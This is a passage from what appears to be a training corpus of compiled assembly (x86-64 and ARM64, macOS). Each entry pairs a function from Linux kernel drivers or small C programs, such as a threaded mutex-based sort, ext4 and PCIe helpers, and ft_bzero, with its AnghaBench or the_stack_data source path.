Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpAdd Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .cfi_endproc ; -- End function .comm _CCQ_CREATED,8,3 ; @CCQ_CREATED .comm _I40IW_ERR_NO_MEMORY,4,2 ; @I40IW_ERR_NO_MEMORY .comm _OP_MANAGE_VF_PBLE_BP,4,2 ; @OP_MANAGE_VF_PBLE_BP .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "CQP-OP Manage VF pble_bp fail" .subsections_via_symbols

AnghaBench/linux/drivers/infiniband/hw/i40iw/extr_i40iw_hw.c_i40iw_hw_manage_vf_pble_bp.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal16,16byte_literals .p2align 4 ## -- Begin function main LCPI0_0: .long 0 ## 0x0 .long 1 ## 0x1 .long 2 ## 0x2 .long 3 ## 0x3 LCPI0_1: .long 4 ## 0x4 .long 5 ## 0x5 .long 6 ## 0x6 .long 7 ## 0x7 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movaps LCPI0_0(%rip), %xmm0 ## xmm0 = [0,1,2,3] movq _a@GOTPCREL(%rip), %rax movaps %xmm0, (%rax) movaps LCPI0_1(%rip), %xmm0 ## xmm0 = [4,5,6,7] movaps %xmm0, 16(%rax) movabsq $38654705672, %rcx ## imm = 0x900000008 movq %rcx, 32(%rax) movq _lock@GOTPCREL(%rip), %rbx movq %rbx, %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.1: leaq 64(%rbx), %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.2: subq $-128, %rbx movq %rbx, %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.3: movl $192, %edi addq _lock@GOTPCREL(%rip), %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.4: movl $256, %edi ## imm = 0x100 addq _lock@GOTPCREL(%rip), %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.5: movl $320, %edi ## imm = 0x140 addq _lock@GOTPCREL(%rip), %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.6: movl $384, %edi ## imm = 0x180 addq _lock@GOTPCREL(%rip), %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.7: movl $448, %edi ## imm = 0x1C0 addq _lock@GOTPCREL(%rip), %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.8: movl $512, %edi ## imm = 0x200 addq _lock@GOTPCREL(%rip), %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax jne LBB0_19 ## %bb.9: movl $576, %edi ## imm = 0x240 addq _lock@GOTPCREL(%rip), %rdi xorl %esi, %esi callq _pthread_mutex_init testl %eax, %eax je LBB0_10 LBB0_19: leaq L_str(%rip), %rdi callq _puts movl $1, %eax addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_10: movq _thread@GOTPCREL(%rip), %r12 leaq _sort(%rip), %r14 leaq -44(%rbp), %rbx leaq 72(%r12), %rax movq %rax, -56(%rbp) ## 8-byte Spill leaq L_.str.1(%rip), %r13 .p2align 4, 0x90 LBB0_11: ## =>This Loop Header: Depth=1 ## Child Loop BB0_12 Depth 2 ## Child Loop BB0_18 Depth 2 movl $1, -44(%rbp) movl $1, %eax jmp LBB0_12 .p2align 4, 0x90 LBB0_14: ## in Loop: Header=BB0_12 Depth=2 movslq -44(%rbp), %rax movq (%r12,%rax,8), %rdi xorl %esi, %esi callq _pthread_join movl -44(%rbp), %ecx leal 1(%rcx), %eax movl %eax, -44(%rbp) cmpl $9, %ecx jge LBB0_15 LBB0_12: ## Parent Loop BB0_11 Depth=1 ## => This Inner Loop Header: Depth=2 cltq leaq (%r12,%rax,8), %rdi addq $-8, %rdi xorl %esi, %esi movq %r14, %rdx movq %rbx, %rcx callq _pthread_create testl %eax, %eax je LBB0_14 ## %bb.13: ## in Loop: Header=BB0_12 Depth=2 movl %eax, %edi callq _strerror movq %r13, %rdi movq %rax, %rsi xorl %eax, %eax callq _printf jmp LBB0_14 .p2align 4, 0x90 LBB0_15: ## in Loop: Header=BB0_11 Depth=1 movq -56(%rbp), %rdi ## 8-byte Reload xorl %esi, %esi leaq _check(%rip), %rdx xorl %ecx, %ecx callq _pthread_create testl %eax, %eax je LBB0_17 ## %bb.16: ## in Loop: Header=BB0_11 Depth=1 movl %eax, %edi callq _strerror movq %r13, %rdi movq %rax, %rsi xorl %eax, %eax callq _printf LBB0_17: ## in Loop: Header=BB0_11 Depth=1 movq 72(%r12), %rdi xorl %r15d, %r15d xorl %esi, %esi callq _pthread_join movl $0, -44(%rbp) .p2align 4, 0x90 LBB0_18: ## Parent Loop BB0_11 Depth=1 ## => This Inner Loop Header: Depth=2 movslq %r15d, %rax movq (%r12,%rax,8), %rdi xorl %esi, %esi callq _pthread_join movl -44(%rbp), %eax leal 1(%rax), %r15d movl %r15d, -44(%rbp) cmpl $8, %eax jl LBB0_18 jmp LBB0_11 .cfi_endproc ## -- End function .globl _sort ## -- Begin function sort .p2align 4, 0x90 _sort: ## @sort .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl (%rdi), %r12d movslq %r12d, %r15 leaq -1(%r15), %r14 shlq $6, %r14 movq _lock@GOTPCREL(%rip), %r13 addq %r13, %r14 movq %r14, %rdi callq _pthread_mutex_lock movq %r15, %rbx shlq $6, %rbx addq %r13, %rbx movq %rbx, %rdi callq _pthread_mutex_lock incl _count(%rip) movq _a@GOTPCREL(%rip), %rax movl -4(%rax,%r15,4), %ecx movl (%rax,%r15,4), %edx cmpl %edx, %ecx jge LBB1_4 ## %bb.1: testl %r12d, %r12d jle LBB1_4 ## %bb.2: cmpl $9, %r12d jg LBB1_4 ## %bb.3: movl %edx, -4(%rax,%r15,4) movl %ecx, (%rax,%r15,4) LBB1_4: movq %rbx, %rdi callq _pthread_mutex_unlock movq %r14, %rdi callq _pthread_mutex_unlock xorl %edi, %edi callq _pthread_exit .cfi_endproc ## -- End function .globl _check ## -- Begin function check .p2align 4, 0x90 _check: ## @check .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl $640, %edi ## imm = 0x280 addq _lock@GOTPCREL(%rip), %rdi callq _pthread_mutex_lock movq _a@GOTPCREL(%rip), %rbx movl (%rbx), %esi movl 4(%rbx), %eax cmpl %eax, %esi jl LBB2_9 ## %bb.1: movl 8(%rbx), %ecx cmpl %ecx, %eax jl LBB2_9 ## %bb.2: movl 12(%rbx), %eax cmpl %eax, %ecx jl LBB2_9 ## %bb.3: movl 16(%rbx), %ecx cmpl %ecx, %eax jl LBB2_9 ## %bb.4: movl 20(%rbx), %eax cmpl %eax, %ecx jl LBB2_9 ## %bb.5: movl 24(%rbx), %ecx cmpl %ecx, %eax jl LBB2_9 ## %bb.6: movl 28(%rbx), %eax cmpl %eax, %ecx jl LBB2_9 ## %bb.7: movl 32(%rbx), %ecx cmpl %ecx, %eax jl LBB2_9 ## %bb.8: cmpl 36(%rbx), %ecx jl LBB2_9 ## %bb.10: leaq L_.str.2(%rip), %r14 movq %r14, %rdi xorl %eax, %eax callq _printf movl 4(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movl 8(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movl 12(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movl 16(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movl 20(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movl 24(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movl 28(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movl 32(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movl 36(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movslq _count(%rip), %rax imulq $1717986919, %rax, %rsi ## imm = 0x66666667 movq %rsi, %rax shrq $63, %rax sarq $34, %rsi addl %eax, %esi leaq L_.str.3(%rip), %rdi ## kill: def $esi killed $esi killed $rsi xorl %eax, %eax callq _printf xorl %edi, %edi callq _exit LBB2_9: xorl %edi, %edi callq _pthread_exit .cfi_endproc ## -- End function .globl _count ## @count .zerofill __DATA,__common,_count,4,2 .comm _a,40,4 ## @a .comm _lock,704,4 ## @lock .comm _thread,80,4 ## @thread .section __TEXT,__cstring,cstring_literals L_.str.1: ## @.str.1 .asciz "\nCan't create thread :[%s]" L_.str.2: ## @.str.2 .asciz "%d " L_.str.3: ## @.str.3 .asciz "\n Sorted; Count = %d \n" L_str: ## @str .asciz "\nMutex init failed" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal16,16byte_literals .p2align 4 ; -- Begin function main lCPI0_0: .long 0 ; 0x0 .long 1 ; 0x1 .long 2 ; 0x2 .long 3 ; 0x3 lCPI0_1: .long 4 ; 0x4 .long 5 ; 0x5 .long 6 ; 0x6 .long 7 ; 0x7 .section __TEXT,__literal8,8byte_literals .p2align 3 lCPI0_2: .long 8 ; 0x8 .long 9 ; 0x9 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 Lloh0: adrp x8, lCPI0_0@PAGE Lloh1: ldr q0, [x8, lCPI0_0@PAGEOFF] Lloh2: adrp x8, _a@GOTPAGE Lloh3: ldr x8, [x8, _a@GOTPAGEOFF] Lloh4: adrp x9, lCPI0_1@PAGE Lloh5: ldr q1, [x9, lCPI0_1@PAGEOFF] stp q0, q1, [x8] Lloh6: adrp x9, lCPI0_2@PAGE Lloh7: ldr d0, [x9, lCPI0_2@PAGEOFF] str d0, [x8, #32] Lloh8: adrp x19, _lock@GOTPAGE Lloh9: ldr x19, [x19, _lock@GOTPAGEOFF] mov x0, x19 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.1: add x0, x19, #64 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.2: add x0, x19, #128 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.3: add x0, x19, #192 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.4: add x0, x19, #256 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.5: add x0, x19, #320 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.6: add x0, x19, #384 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.7: add x0, x19, #448 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.8: add x0, x19, #512 mov x1, #0 bl _pthread_mutex_init cbnz w0, LBB0_10 ; %bb.9: add x0, x19, #576 mov x1, #0 bl _pthread_mutex_init cbz w0, LBB0_11 LBB0_10: Lloh10: adrp x0, l_str@PAGE Lloh11: add x0, x0, l_str@PAGEOFF bl _puts mov w0, #1 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret LBB0_11: Lloh12: adrp x22, _thread@GOTPAGE Lloh13: ldr x22, [x22, _thread@GOTPAGEOFF] Lloh14: adrp x19, _sort@PAGE Lloh15: add x19, x19, _sort@PAGEOFF Lloh16: adrp x20, _check@PAGE Lloh17: add x20, x20, _check@PAGEOFF Lloh18: adrp x21, l_.str.1@PAGE Lloh19: add x21, x21, l_.str.1@PAGEOFF LBB0_12: ; =>This Loop Header: Depth=1 ; Child Loop BB0_14 Depth 2 ; Child Loop BB0_19 Depth 2 mov w8, #1 str w8, [sp, #12] b LBB0_14 LBB0_13: ; in Loop: Header=BB0_14 Depth=2 ldrsw x8, [sp, #12] ldr x0, [x22, x8, lsl #3] mov x1, #0 bl _pthread_join ldr w9, [sp, #12] add w8, w9, #1 str w8, [sp, #12] cmp w9, #9 b.ge LBB0_16 LBB0_14: ; Parent Loop BB0_12 Depth=1 ; => This Inner Loop Header: Depth=2 add x8, x22, w8, sxtw #3 sub x0, x8, #8 add x3, sp, #12 mov x1, #0 mov x2, x19 bl _pthread_create cbz w0, LBB0_13 ; %bb.15: ; in Loop: Header=BB0_14 Depth=2 bl _strerror str x0, [sp] mov x0, x21 bl _printf b LBB0_13 LBB0_16: ; in Loop: Header=BB0_12 Depth=1 add x0, x22, #72 mov x1, #0 mov x2, x20 mov x3, #0 bl _pthread_create cbz w0, LBB0_18 ; %bb.17: ; in Loop: Header=BB0_12 Depth=1 bl _strerror str x0, [sp] mov x0, x21 bl _printf LBB0_18: ; in Loop: Header=BB0_12 Depth=1 ldr x0, [x22, #72] mov x1, #0 bl _pthread_join mov w8, #0 str wzr, [sp, #12] LBB0_19: ; Parent Loop BB0_12 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x0, [x22, w8, sxtw #3] mov x1, #0 bl _pthread_join ldr w9, [sp, #12] add w8, w9, #1 str w8, [sp, #12] cmp w9, #8 b.lt LBB0_19 b LBB0_12 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdr Lloh6, Lloh7 .loh AdrpAdrp Lloh4, Lloh6 .loh AdrpLdr Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpAdrp Lloh0, Lloh2 .loh AdrpLdr Lloh0, Lloh1 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpAdd Lloh18, Lloh19 .loh AdrpAdd Lloh16, Lloh17 .loh AdrpAdd Lloh14, Lloh15 .loh AdrpLdrGot Lloh12, Lloh13 .cfi_endproc ; -- End function .globl _sort ; -- Begin function sort .p2align 2 _sort: ; @sort .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 ldr w23, [x0] sxtw x21, w23 sub x22, x21, #1 Lloh20: adrp x20, _lock@GOTPAGE Lloh21: ldr x20, [x20, _lock@GOTPAGEOFF] add x19, x20, x22, lsl #6 mov x0, x19 bl _pthread_mutex_lock add x20, x20, x21, lsl #6 mov x0, x20 bl _pthread_mutex_lock adrp x10, _count@PAGE ldr w8, [x10, _count@PAGEOFF] add w11, w8, #1 Lloh22: adrp x8, _a@GOTPAGE Lloh23: ldr x8, [x8, _a@GOTPAGEOFF] ldr w9, [x8, x22, lsl #2] str w11, [x10, _count@PAGEOFF] ldr w10, [x8, w23, sxtw #2] cmp w9, w10 ccmp w23, #1, #8, lt ccmp w23, #9, #0, ge b.gt LBB1_2 ; %bb.1: str w10, [x8, x22, lsl #2] str w9, [x8, x21, lsl #2] LBB1_2: mov x0, x20 bl _pthread_mutex_unlock mov x0, x19 bl _pthread_mutex_unlock mov x0, #0 bl _pthread_exit .loh AdrpLdrGot Lloh22, Lloh23 .loh AdrpLdrGot Lloh20, Lloh21 .cfi_endproc ; -- End function .globl _check ; -- Begin function check .p2align 2 _check: ; @check .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh24: adrp x8, _lock@GOTPAGE Lloh25: ldr x8, [x8, _lock@GOTPAGEOFF] add x0, x8, #640 bl _pthread_mutex_lock Lloh26: adrp x20, _a@GOTPAGE Lloh27: ldr x20, [x20, _a@GOTPAGEOFF] ldp w8, w9, [x20] cmp w8, w9 b.lt LBB2_8 ; %bb.1: ldr w10, [x20, #8] cmp w9, w10 b.lt LBB2_8 ; %bb.2: ldr w9, [x20, #12] cmp w10, w9 b.lt LBB2_8 ; %bb.3: ldr w10, [x20, #16] cmp w9, w10 b.lt LBB2_8 ; %bb.4: ldr w9, [x20, #20] cmp w10, w9 b.lt LBB2_8 ; %bb.5: ldr w10, [x20, #24] cmp w9, w10 b.lt LBB2_8 ; %bb.6: ldr w9, [x20, #28] cmp w10, w9 b.lt LBB2_8 ; %bb.7: ldp w10, w11, [x20, #32] cmp w9, w10 ccmp w10, w11, #8, ge b.ge LBB2_9 LBB2_8: mov x0, #0 bl _pthread_exit LBB2_9: str x8, [sp] Lloh28: adrp x19, l_.str.2@PAGE Lloh29: add x19, x19, l_.str.2@PAGEOFF mov x0, x19 bl _printf ldr w8, [x20, #4] str x8, [sp] mov x0, x19 bl _printf ldr w8, [x20, #8] str x8, [sp] mov x0, x19 bl _printf ldr w8, [x20, #12] str x8, [sp] mov x0, x19 bl _printf ldr w8, [x20, #16] str x8, [sp] mov x0, x19 bl _printf ldr w8, [x20, #20] str x8, [sp] mov x0, x19 bl _printf ldr w8, [x20, #24] str x8, [sp] mov x0, x19 bl _printf ldr w8, [x20, #28] str x8, [sp] mov x0, x19 bl _printf ldr w8, [x20, #32] str x8, [sp] mov x0, x19 bl _printf ldr w8, [x20, #36] str x8, [sp] mov x0, x19 bl _printf Lloh30: adrp x8, _count@PAGE Lloh31: ldrsw x8, [x8, _count@PAGEOFF] mov w9, #26215 movk w9, #26214, lsl #16 mul x8, x8, x9 lsr x9, x8, #32 lsr x8, x8, #63 add w8, w8, w9, asr #2 str x8, [sp] Lloh32: adrp x0, l_.str.3@PAGE Lloh33: add x0, x0, l_.str.3@PAGEOFF bl _printf mov w0, #0 bl _exit .loh AdrpLdrGot Lloh26, Lloh27 .loh AdrpLdrGot Lloh24, Lloh25 .loh AdrpAdd Lloh32, Lloh33 .loh AdrpLdr Lloh30, Lloh31 .loh AdrpAdd Lloh28, Lloh29 .cfi_endproc ; -- End function .globl _count ; @count .zerofill __DATA,__common,_count,4,2 .comm _a,40,2 ; @a .comm _lock,704,3 ; @lock .comm _thread,80,3 ; @thread .section __TEXT,__cstring,cstring_literals l_.str.1: ; @.str.1 .asciz "\nCan't create thread :[%s]" l_.str.2: ; @.str.2 .asciz "%d " l_.str.3: ; @.str.3 .asciz "\n Sorted; Count = %d \n" l_str: ; @str .asciz "\nMutex init failed" .subsections_via_symbols

the_stack_data/46637.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ext4_should_writeback_data _ext4_should_writeback_data: ## @ext4_should_writeback_data .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _ext4_inode_journal_mode movq _EXT4_INODE_WRITEBACK_DATA_MODE@GOTPCREL(%rip), %rcx andl (%rcx), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _EXT4_INODE_WRITEBACK_DATA_MODE,4,2 ## @EXT4_INODE_WRITEBACK_DATA_MODE .no_dead_strip _ext4_should_writeback_data .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ext4_should_writeback_data _ext4_should_writeback_data: ; @ext4_should_writeback_data .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _ext4_inode_journal_mode Lloh0: adrp x8, _EXT4_INODE_WRITEBACK_DATA_MODE@GOTPAGE Lloh1: ldr x8, [x8, _EXT4_INODE_WRITEBACK_DATA_MODE@GOTPAGEOFF] Lloh2: ldr w8, [x8] and w0, w8, w0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _EXT4_INODE_WRITEBACK_DATA_MODE,4,2 ; @EXT4_INODE_WRITEBACK_DATA_MODE .no_dead_strip _ext4_should_writeback_data .subsections_via_symbols

AnghaBench/fastsocket/kernel/fs/ext4/extr_ext4_jbd2.h_ext4_should_writeback_data.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ft_bzero ## -- Begin function ft_bzero .p2align 4, 0x90 _ft_bzero: ## @ft_bzero .cfi_startproc ## %bb.0: testq %rsi, %rsi je LBB0_2 ## %bb.1: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq ___bzero popq %rbp LBB0_2: retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ft_bzero ; -- Begin function ft_bzero .p2align 2 _ft_bzero: ; @ft_bzero .cfi_startproc ; %bb.0: cbz x1, LBB0_2 ; %bb.1: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _bzero ldp x29, x30, [sp], #16 ; 16-byte Folded Reload LBB0_2: .cfi_def_cfa wsp, 0 .cfi_same_value w30 .cfi_same_value w29 ret .cfi_endproc ; -- End function .subsections_via_symbols

the_stack_data/108918.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function pcie_pme_mark_devices _pcie_pme_mark_devices: ## @pcie_pme_mark_devices .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx xorl %esi, %esi callq _pcie_pme_can_wakeup movq (%rbx), %rdi testq %rdi, %rdi je LBB0_1 ## %bb.2: movq _pcie_pme_can_wakeup@GOTPCREL(%rip), %rsi xorl %edx, %edx addq $8, %rsp popq %rbx popq %rbp jmp _pci_walk_bus ## TAILCALL LBB0_1: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _pcie_pme_mark_devices .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function pcie_pme_mark_devices _pcie_pme_mark_devices: ; @pcie_pme_mark_devices .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 mov x1, #0 bl _pcie_pme_can_wakeup ldr x0, [x19] cbz x0, LBB0_2 ; %bb.1: Lloh0: adrp x1, _pcie_pme_can_wakeup@GOTPAGE Lloh1: ldr x1, [x1, _pcie_pme_can_wakeup@GOTPAGEOFF] mov x2, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _pci_walk_bus LBB0_2: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .no_dead_strip _pcie_pme_mark_devices .subsections_via_symbols

AnghaBench/linux/drivers/pci/pcie/extr_pme.c_pcie_pme_mark_devices.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function da311_enable _da311_enable: ## @da311_enable .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %ecx, %ecx testl %esi, %esi sete %cl shll $5, %ecx movq _DA311_REG_TEMP_CFG_REG@GOTPCREL(%rip), %rax movl (%rax), %esi movl $32, %edx popq %rbp jmp _da311_register_mask_write ## TAILCALL .cfi_endproc ## -- End function .comm _DA311_REG_TEMP_CFG_REG,4,2 ## @DA311_REG_TEMP_CFG_REG .no_dead_strip _da311_enable .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function da311_enable _da311_enable: ; @da311_enable .cfi_startproc ; %bb.0: cmp w1, #0 cset w8, eq Lloh0: adrp x9, _DA311_REG_TEMP_CFG_REG@GOTPAGE Lloh1: ldr x9, [x9, _DA311_REG_TEMP_CFG_REG@GOTPAGEOFF] lsl w3, w8, #5 Lloh2: ldr w1, [x9] mov w2, #32 b _da311_register_mask_write .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _DA311_REG_TEMP_CFG_REG,4,2 ; @DA311_REG_TEMP_CFG_REG .no_dead_strip _da311_enable .subsections_via_symbols

AnghaBench/linux/drivers/iio/accel/extr_da311.c_da311_enable.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal16,16byte_literals .p2align 4 ## -- Begin function arc4_init LCPI0_0: .long 0 ## 0x0 .long 1 ## 0x1 .long 2 ## 0x2 .long 3 ## 0x3 LCPI0_1: .long 4 ## 0x4 .long 4 ## 0x4 .long 4 ## 0x4 .long 4 ## 0x4 LCPI0_2: .long 8 ## 0x8 .long 8 ## 0x8 .long 8 ## 0x8 .long 8 ## 0x8 LCPI0_3: .long 12 ## 0xc .long 12 ## 0xc .long 12 ## 0xc .long 12 ## 0xc LCPI0_4: .long 16 ## 0x10 .long 16 ## 0x10 .long 16 ## 0x10 .long 16 ## 0x10 LCPI0_5: .long 20 ## 0x14 .long 20 ## 0x14 .long 20 ## 0x14 .long 20 ## 0x14 LCPI0_6: .long 24 ## 0x18 .long 24 ## 0x18 .long 24 ## 0x18 .long 24 ## 0x18 LCPI0_7: .long 28 ## 0x1c .long 28 ## 0x1c .long 28 ## 0x1c .long 28 ## 0x1c LCPI0_8: .long 32 ## 0x20 .long 32 ## 0x20 .long 32 ## 0x20 .long 32 ## 0x20 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _arc4_init: ## @arc4_init .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _rs@GOTPCREL(%rip), %rax movq (%rax), %rcx movdqa LCPI0_0(%rip), %xmm0 ## xmm0 = [0,1,2,3] xorl %edx, %edx movdqa LCPI0_1(%rip), %xmm8 ## xmm8 = [4,4,4,4] movdqa LCPI0_2(%rip), %xmm9 ## xmm9 = [8,8,8,8] movdqa LCPI0_3(%rip), %xmm10 ## xmm10 = [12,12,12,12] movdqa LCPI0_4(%rip), %xmm4 ## xmm4 = [16,16,16,16] movdqa LCPI0_5(%rip), %xmm5 ## xmm5 = [20,20,20,20] movdqa LCPI0_6(%rip), %xmm6 ## xmm6 = [24,24,24,24] movdqa LCPI0_7(%rip), %xmm7 ## xmm7 = [28,28,28,28] movdqa LCPI0_8(%rip), %xmm1 ## xmm1 = [32,32,32,32] .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movdqa %xmm0, %xmm2 paddd %xmm8, %xmm2 movdqu %xmm0, (%rcx,%rdx,4) movdqu %xmm2, 16(%rcx,%rdx,4) movdqa %xmm0, %xmm2 paddd %xmm9, %xmm2 